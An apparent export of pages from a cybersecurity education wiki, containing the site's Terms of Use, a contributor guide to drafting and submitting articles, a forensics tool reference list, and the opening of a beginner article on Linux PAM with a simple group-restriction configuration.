* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.

[[Category:Linux]]
[[Category:Pending review]]

Attack Analysis

2026-10-02T23:33:58Z

AdminUser:

WikiCyber:Terms of Use

2026-10-02T04:34:07Z

AdminUser:

'''Effective Date:''' 1 October 2026  |  '''Last Updated:''' 1 October 2026

These Terms of Use (these "'''Terms'''") constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the "'''Site'''").

'''BY ACCESSING, BROWSING, OR CONTRIBUTING TO THE SITE, YOU ACKNOWLEDGE THAT YOU HAVE READ AND UNDERSTOOD THESE TERMS AND AGREE TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, YOU MUST NOT ACCESS OR USE THE SITE.''' Users who have not reached the age of majority in their jurisdiction of residence are advised to review these Terms with a parent or legal guardian before using the Site.

== 1. Introduction and Definitions ==

'''1.1 The Operator.''' WikiCyber is a free educational project operated by Shore-Roger Enterprises (the "'''Operator'''", "'''we'''", "'''us'''", or "'''our'''"). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. The Operator operates the Site as a free educational project and without any intention of making a profit, now or in the future.

'''1.2 Definitions.''' In these Terms, unless the context requires otherwise:
:"'''Author'''" means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.
:"'''Content'''" means all text, code, images, data, and other material made available on the Site, including Contributions.
:"'''Contribution'''" means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries.
:"'''License'''" means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).
:"'''Supplemental Policies'''" means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], each as published on the Site from time to time.
:"'''User'''" or "'''you'''" means any person or entity that accesses or uses the Site, including any Author.
:"'''WikiCyber Parties'''" means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.

'''1.3 Interpretation.''' Headings are for convenience only and do not affect the interpretation of these Terms. The word "including" means "including without limitation." References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.

'''1.4 Availability of the Site.''' The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, for any reason, and without notice or liability.

== 2. Content License and Contributions ==

=== 2.1 License to Content ===
'''2.1.1''' Unless a page or item expressly states otherwise, Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:
:(a) '''Attribution.''' You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, is sufficient to credit the Authors.
:(b) '''ShareAlike.''' If you remix, transform, or build upon the Content, you must distribute your contributions under the License or a license that the License designates as compatible.

'''2.1.2''' Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between this Section 2.1 and the License, the License governs with respect to the rights granted in the Content.

=== 2.2 Contributions ===
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:
:(a) the Author hereby licenses the Contribution to the public under the License, and acknowledges that such license is '''irrevocable''';
:(b) the Contribution is the Author's original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;
:(d) Contributions that are published on the Site, together with their edit histories and the Author's username, are publicly and permanently visible, and may be edited, reorganized, moved, or removed by the Operator's administrators at any time;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and
:(f) the Contribution complies with Section 6.

=== 2.3 Matters Not Licensed ===
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.
:(b) The names "WikiCyber" and "Shore-Roger Enterprises," and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.

=== 2.4 Linking to the Site ===
You may link to any page of the Site, including by text hyperlink, for any lawful purpose, provided that the linking does not suggest that the Operator or any Author sponsors, endorses, or is affiliated with you or your site, and that your site does not contain material that is unlawful, harassing, hateful, or otherwise objectionable. You may not use the WikiCyber name or any WikiCyber logo or graphic as a link or in any other manner that suggests endorsement without the Operator's prior written permission. This Section does not limit the attribution you are required to give under the License. The Operator may withdraw this permission as to any particular site at any time.

== 3. Authors and Accounts ==

'''3.1 Invitation only.''' Accounts on the Site are issued by invitation only. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps.

'''3.2 Vetting is not a guarantee.''' The vetting of an Author does not constitute a representation or warranty by the Operator that any Author's Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.

'''3.3 Account security.''' Each Author is solely responsible for maintaining the confidentiality of their account credentials, for all activity that occurs under their account, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.

'''3.4 Editorial control and review.''' New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.

'''3.5 No employment or agency.''' Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.

'''3.6 One account; accurate information.''' Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.

'''3.7 Authors' representations.''' By accepting an account, an Author represents and warrants that: (a) the Author has not previously been suspended or removed from the Site, and has not engaged in conduct that would justify suspension or removal; (b) the Author has the full power and authority to accept these Terms, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); and (c) every statement the Author makes to the Operator in connection with the Author's invitation or vetting is true.

'''3.8 Contributing on behalf of an organization.''' If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an "'''Organization'''"), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization's behalf, and that the Organization agrees to be bound by these Terms. In that case, "you" refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.

== 4. Educational Use Only; No Professional Advice ==

'''4.1 Educational purpose.''' '''WikiCyber is not a source of expert help.''' The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.

'''4.2 No assurance of accuracy.''' Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.

'''4.3 Assumption of risk and responsibility.''' You use the Site and the Content '''entirely at your own risk'''. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.

== 5. No Affiliation; Third-Party Marks ==

'''5.1 Wikipedia and the Wikimedia Foundation.''' WikiCyber is '''not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation''', and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.

'''5.2 Other organizations.''' WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air & Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.

'''5.3 Third-party marks.''' All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.

== 6. Acceptable Use ==

Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service's terms.

'''Prohibited uses of the Site and its Content.''' You shall not use the Site, or any information obtained from it, to:
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data '''without the explicit permission of its owner''';
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;
:(c) create, host, or distribute malware or other harmful code for malicious use.

'''Prohibited conduct on the Site.''' You shall not:
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;
:(e) post the private information, credentials, or confidential material of any other person without that person's consent;
:(f) post Content that infringes any person's intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;
:(g) impersonate any person or misrepresent your qualifications or affiliation;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;
:(j) use or attempt to use another person's account, or allow another person to use yours;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person's use of the Site, including by abusing the review, request, or notification features;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author's private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site's robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than clearly labeled educational samples that comply with Section 6(c)), or that contains political campaigning, advertising, or solicitation; or
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.

=== 6.1 No Promotional Links ===
'''6.1.1''' '''Promotional links are prohibited''' on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A "promotional link" includes any link to your own or any other person's website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or "buy me a coffee" page; and any affiliate, referral, or advertising link.

'''6.1.2''' Promotional links are permitted '''only on an Author's own user profile page''' (the page titled "User:" followed by the Author's username). Promotional links are '''not''' permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.

'''6.1.3''' A link that serves as a genuine source for a statement of fact, cited in accordance with the Site's sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator's reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.

=== 6.2 Reasonable File Sizes ===
Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.

=== 6.3 Responsible Disclosure ===
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.

== 7. Enforcement and Termination ==

'''7.1 Remedies.''' If the Operator believes, in its sole discretion, that you have violated or are likely to violate these Terms, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.

'''7.2 Unlawful use.''' '''Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.'''

'''7.3 Legal process.''' The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.

'''7.4 Termination by you; effect of termination.''' You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.

'''7.5 No liability.''' The WikiCyber Parties shall have no liability to you for any action taken in good faith under this Section 7.

== 8. Copyright Complaints ==

'''8.1 Notice of claimed infringement.''' The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;
:(b) identification of the copyrighted work claimed to have been infringed;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;
:(d) your name, mailing address, telephone number, and email address;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and
:(f) a statement that the information in the notice is accurate and, '''under penalty of perjury''', that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.

'''8.2 Action upon notice.''' Upon receipt of a notice that substantially complies with Section 8.1, the Operator may remove or disable access to the identified material and may notify the Author who submitted it.

'''8.3 Counter-notification.''' An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author's physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, '''under penalty of perjury''', that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author's name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author's address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice. Upon receipt of a compliant counter-notice, the Operator may forward it to the complaining party and may restore the material, in accordance with applicable law, unless the complaining party notifies the Operator that it has filed an action seeking a court order against the Author.

'''8.4 Repeat infringers.''' In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.

'''8.5 Misrepresentation.''' You may be held liable for damages, including costs and attorneys' fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.

== 9. Links and Third-Party Content ==

The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, "'''Third-Party Materials'''"). The Operator does not control, create, update, monitor, endorse, or adopt any Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.

== 10. Privacy ==

'''10.1 Information collected.''' The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site.

'''10.2 Public nature of Contributions.''' All Contributions that are published on the Site, including the Author's username and edit history, are public and are not confidential.

'''10.3 Service providers.''' Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider's infrastructure.

'''10.4 Supplemental Policies.''' Your use of the Site is also subject to the Supplemental Policies, which are incorporated into and form part of these Terms.

== 11. Disclaimer of Warranties; Limitation of Liability ==

'''11.1 Disclaimer of warranties.''' THE SITE AND ALL CONTENT ARE PROVIDED "AS IS" AND "AS AVAILABLE," WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING ANY WARRANTIES OF ACCURACY, COMPLETENESS, TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THE OPERATOR DOES NOT WARRANT THAT THE SITE OR THE CONTENT WILL BE UNINTERRUPTED, TIMELY, ERROR-FREE, SECURE, OR FREE OF HARMFUL COMPONENTS.

'''11.2 Exclusion of damages.''' TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL ANY OF THE WIKICYBER PARTIES BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, OR FOR ANY LOSS OF DATA, PROFITS, REVENUE, GOODWILL, OR SYSTEM AVAILABILITY, ARISING OUT OF OR IN CONNECTION WITH THESE TERMS, THE SITE, OR THE CONTENT, OR YOUR USE OF, OR INABILITY TO USE, THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT (INCLUDING NEGLIGENCE), STATUTE, OR ANY OTHER LEGAL THEORY, AND EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

'''11.3 Limitation of aggregate liability.''' BECAUSE THE SITE IS PROVIDED FREE OF CHARGE, TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE TOTAL AGGREGATE LIABILITY OF THE WIKICYBER PARTIES FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS, THE SITE, OR THE CONTENT SHALL NOT EXCEED ZERO U.S. DOLLARS (US$0.00).

'''11.4 Exceptions.''' Nothing in these Terms excludes or limits any liability that cannot be excluded or limited under applicable law. Some jurisdictions do not allow the exclusion of certain warranties or the limitation of certain damages, and in those jurisdictions the exclusions and limitations in this Section 11 apply only to the fullest extent permitted.

'''11.5 Basis of the bargain.''' You acknowledge that the disclaimers and limitations in this Section 11 reflect a reasonable allocation of risk, that the Site is provided free of charge in reliance on them, and that they apply even if any limited remedy fails of its essential purpose.

== 12. Indemnification ==

'''12.1 Indemnity.''' To the fullest extent permitted by applicable law, you agree to defend, indemnify, and hold harmless the WikiCyber Parties from and against any and all claims, demands, actions, liabilities, damages, losses, and expenses (including reasonable attorneys' fees and costs) arising out of or relating to: (a) your breach of these Terms; (b) your violation of any law or of any right of a third party; or (c) your unauthorized or unlawful use of the Site or the Content.

'''12.2 Procedure.''' The Operator will use reasonable efforts to notify you of any claim for which it seeks indemnification, provided that failure to do so does not relieve you of your obligations except to the extent you are materially prejudiced. The Operator may, at its option, assume the exclusive defense and control of any such claim, at your expense, and you shall cooperate with that defense and shall not settle any such claim without the Operator's prior written consent.

== 13. Contact and Notices ==

'''13.1 Contact.''' Questions regarding these Terms, notices of claimed copyright infringement and counter-notices under Section 8, and reports under Section 6.3 should be directed to: '''admin@wikicyber.org'''.

'''13.2 Notices to you.''' The Operator may provide notices to you by posting them on the Site or by sending them to the email address associated with your account, if any. Notices so given are deemed received when posted or sent.

'''13.3 Electronic communications.''' You consent to receive communications from the Operator in electronic form and agree that electronic communications satisfy any legal requirement that such communications be in writing.

'''13.4 Account and service emails; no marketing.''' By accepting an account, an Author agrees that the Operator may send email to the address associated with the account for purposes related to the Site, such as account and security messages, password resets, editorial review and draft-status notices, notices of changes to these Terms or the Supplemental Policies, and responses to your inquiries. The Operator does not send advertising or marketing messages and does not contact you by telephone or text message. Some categories of email (such as review notifications) may be switched off in your preferences; notices about these Terms, legal notices, and security messages may be sent regardless. You represent that you own or are authorized to use the email address you give the Operator.

== 14. Modifications to These Terms ==

The Operator reserves the right, in its sole discretion, to modify these Terms at any time. Modifications become effective upon posting on this page, and the "Last Updated" date above will be revised accordingly. Your continued access to or use of the Site after modifications are posted constitutes your acceptance of the modified Terms. You are responsible for reviewing these Terms periodically; prior versions are available through this page's history. No modification revokes any license granted under the License before the effective date of that modification.

== 15. Governing Law and General Provisions ==

'''15.1 Governing law.''' These Terms, and any dispute arising out of or relating to them or to the Site, are governed by the laws of the State of California, United States of America, without regard to its conflict-of-laws principles.

'''15.2 Jurisdiction and venue.''' Subject to Section 15.3, you irrevocably consent to the exclusive jurisdiction and venue of the state and federal courts located in the State of California for any such dispute, and waive any objection based on inconvenient forum.

'''15.3 Equitable relief.''' Notwithstanding Section 15.2, the Operator may seek injunctive or other equitable relief in any court of competent jurisdiction to prevent or restrain any actual or threatened violation of these Terms or misuse of the Site.

'''15.4 Severability.''' If any provision of these Terms is held to be invalid, illegal, or unenforceable, that provision shall be enforced to the maximum extent permissible and the remaining provisions shall continue in full force and effect.

'''15.5 No waiver.''' The failure of the Operator to exercise or enforce any right or provision of these Terms does not constitute a waiver of that right or provision. Any waiver must be in writing and signed by the Operator to be effective.

'''15.6 Entire agreement; order of precedence.''' These Terms, together with the Supplemental Policies and, as to Content, the License, constitute the entire agreement between you and the Operator regarding the Site and supersede all prior or contemporaneous understandings on that subject. In the event of a conflict, (a) the License governs the rights granted in Content, and (b) otherwise, these Terms prevail over the Supplemental Policies.

'''15.7 Assignment.''' You may not assign or transfer these Terms or any rights under them without the Operator's prior written consent, and any purported assignment in violation of this Section is void. The Operator may assign these Terms, in whole or in part, without notice.

'''15.8 Third-party beneficiaries.''' Except that the WikiCyber Parties are intended third-party beneficiaries of Sections 11 and 12, these Terms confer no rights on any person other than you and the Operator.

'''15.9 Force majeure.''' The Operator shall not be liable for any failure or delay in performance caused by events beyond its reasonable control, including failures of internet, hosting, or power services, labor disputes, natural disasters, governmental action, or attacks on the Site.

'''15.10 Digital identity and age-verification laws.''' The Site is operated from the United States, does not require or collect government-issued identification or biometric data, and does not perform age or identity verification. If you are located in, or are a resident or citizen of, a country or region whose laws require a website or online service to implement digital identity, government-ID, or age-verification measures in order to serve its users (for example, the United Kingdom or Australia), you agree that you will not access or use the Site or its services while those requirements apply. You are responsible for determining whether the laws of your location impose such requirements. The Operator does not implement such measures and does not accept that those laws apply to the Operator or the Site. The Operator may block or restrict access from any country or region at any time and without notice.

'''15.11 Survival.''' Sections that by their nature should survive the termination of your access to the Site shall so survive, including Sections 2, 3.7, 3.8, 4, 5, 6, 7, 8, 9, 11, 12, 13, and 15.

Help:Your first article

2026-09-18T20:05:37Z

AdminUser: Updated "Dont's section with new rule

== The basics ==

WikiCyber articles go through three stages: '''drafting''' in your personal sandbox, '''submission''' for review, and '''publication''' to the main wiki. This guide walks through all three.

== Before you start writing ==

=== Pick a topic you actually know or can research well ===

The strongest WikiCyber articles come from editors who either work in the area professionally, have studied it formally, or are willing to do serious research to get the details right. Be honest with yourself about which category you're in, as it determines your sourcing obligations (see below).

=== Check whether the article already exists ===

Search the wiki before you start. If a related article exists, consider whether your topic is better as:
* A new standalone article
* A new section within the existing article
* An expansion of an existing but underdeveloped section

Duplicate or heavily overlapping articles fragment coverage and make the wiki harder to navigate. Reviewers may ask you to merge your draft into an existing page instead of publishing separately.

=== Gather your sources first ===

Before writing a word, collect what you'll be citing:
* Official documentation (RFCs, vendor docs, NIST/OWASP publications, CVE entries)
* Academic papers or textbooks
* Reputable community sources like well-maintained GitHub repositories, established security research blogs, credible conference talks (DEF CON, Black Hat, etc.), or established YouTube channels in the field

Skim them and take notes before drafting. Trying to find sources ''after'' writing a claim tends to produce weaker, cherry-picked citations.

=== Does this topic belong on WikiCyber? ===

Ask yourself:
* Is this a real, established topic in cybersecurity, IT, or a closely related field?
* Can it be covered with real depth, not just a stub definition?
* Is there enough legitimate source material to support it?

If yes to all three, it's a good candidate. If you're unsure, ask an administrator!

=== Look at similar articles ===

Before drafting, read one or two existing WikiCyber articles on related topics. Pay attention to how they build from overview to advanced material, as this is the structure reviewers will expect from your draft too.

== Writing your draft ==

=== Choose an editing tool ===

WikiCyber supports both:
* '''VisualEditor''': a visual, formatted editing experience. Easier for prose-heavy sections.
* '''Source editing''' (wikitext): more control, and necessary for some formatting like citation templates or code blocks. Most experienced editors end up using source editing for technical articles, since it makes handling code snippets and references easier.

You can switch between the two at any time using the tabs at the top of the edit screen.

=== Where to start writing ===

Draft in your personal sandbox: <code>Special:MyPage/sandbox</code>. This is your own space to write, revise, and abandon drafts without affecting the live wiki.

=== Structuring your content ===

Follow WikiCyber's structure:

# '''Overview''': a plain-language summary. Anyone should be able to read this and understand what the topic is and why it matters.
# '''Core concepts''': these are the foundational mechanics required before going deeper.
# '''Deeper mechanics''': implementation details, protocol-level behavior, real configuration or code examples, attack/defense specifics. This is where WikiCyber articles should go further than a general-purpose encyclopedia.
# '''Advanced / practitioner notes''' (optional): nuance for someone working in the field: pitfalls, current best practices, tooling, open problems, etc.

Use section headings (<code>== Heading ==</code>) to mark divisions clearly.

=== Citing sources ===

WikiCyber has a specific sourcing policy:

; Editors with at least an Associate's degree (or higher) in Computer Science, Cybersecurity, or a closely related field
: May cite their own expertise directly, without an external source, '''within their area of expertise'''. State your credential on your user page so reviewers can verify it.

; Editors without such a credential
: Must cite an external source for non-trivial claims, using <code><ref></code> tags. Acceptable sources include official documentation, academic papers, reputable security research, and credible community sources (established GitHub repos, respected YouTube channels, conference talks).

Regardless of credential: if a claim is surprising, safety-relevant, or likely to be challenged, cite a source anyway.

=== AI-assisted writing ===

AI tools may be used to help draft or edit content. However, '''the editor remains fully responsible for accuracy''', inaccuracies introduced by AI assistance are treated the same as any other editing error. Verify anything AI-generated against a real source before submitting, especially specific technical details (command syntax, version numbers, CVE identifiers, protocol behavior) where AI tools are prone to mistakes and hallucinations.

=== Dos and don'ts ===

'''Do:'''
* Build from simple to advanced
* Cite according to the policy above
* Use real, working code/config examples where relevant, clearly marked as such
* Keep terminology consistent with how it's used elsewhere on the wiki

'''Don't:'''
* Copy text from other websites or documentation verbatim
* Leave advanced sections uncited even if the overview section is well-sourced
* Submit a draft that's still an outline
* Add promotional links (your own website, donation or 'buy me a coffee' pages, affiliate links). These belong only on your user profile page.

== Publish your draft ==

=== Pre-publication checklist ===

Before submitting, check that your draft:
* Has a clear overview any reader could follow
* Builds logically from basic to advanced material
* Is properly sourced according to your citation tier
* Doesn't duplicate an existing article's coverage

=== Ask for a review ===

Add <code><nowiki>{{Submit}}</nowiki></code> to the very top of your draft page. This will:
* Display a notice that the draft has been submitted for review
* Add the page to the review queue, where an experienced editor will find it

A reviewer will look at your draft and either publish it to the main wiki or send it back with feedback. You can keep editing while you wait.

=== After review ===

If approved, your draft is moved into the main article space and becomes a normal WikiCyber page. An administrator approves a draft with the '''Approve draft''' button in its "submitted for review" notice, and you will be emailed when it is published.

== Help is available ==

If you get stuck at any point, reach out to an administrator via [[Special:ListUsers/sysop]].

PAM (Pluggable Authentication Module)

2026-09-18T19:53:26Z

AdminUser: AdminUser moved page Draft:PAM (Pluggable Authentication Module) to PAM (Pluggable Authentication Module) without leaving a redirect: Approved by AdminUser

-----

Author(s): Kirill Shore

Last Updated: 10-02-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is PAM? ==

PAM stands for Pluggable Authentication Module. It's a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don't know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.

== Pam Basics ==

There are several PAM services (not to be confused with modules), as an example:

* <code>sshd</code>, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.
* <code>login</code>, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.
* <code>sudo</code>, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in <code>/etc/pam.d</code>. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:
* <code>pam_unix.so</code> (Default PAM module)
* <code>pam_tally2.so</code> (Which is used to count login attempts and lock an account after a specified number of failed attempts)
* <code>pam_google_authenticator.so</code> (Which provides 2FA support if you use the Google Authenticator app on a mobile device)

== PAM Security Principles ==

In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let's suppose that the teller logs into a banking application or a Linux shell for deposits. In <code>/etc/pam.d/deposit_app</code>, we would configure PAM to allow teller group users or higher to authenticate:

<syntaxhighlight lang="text">auth required pam_unix.so
account required pam_succeed_if.so user ingroup tellers</syntaxhighlight>
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)

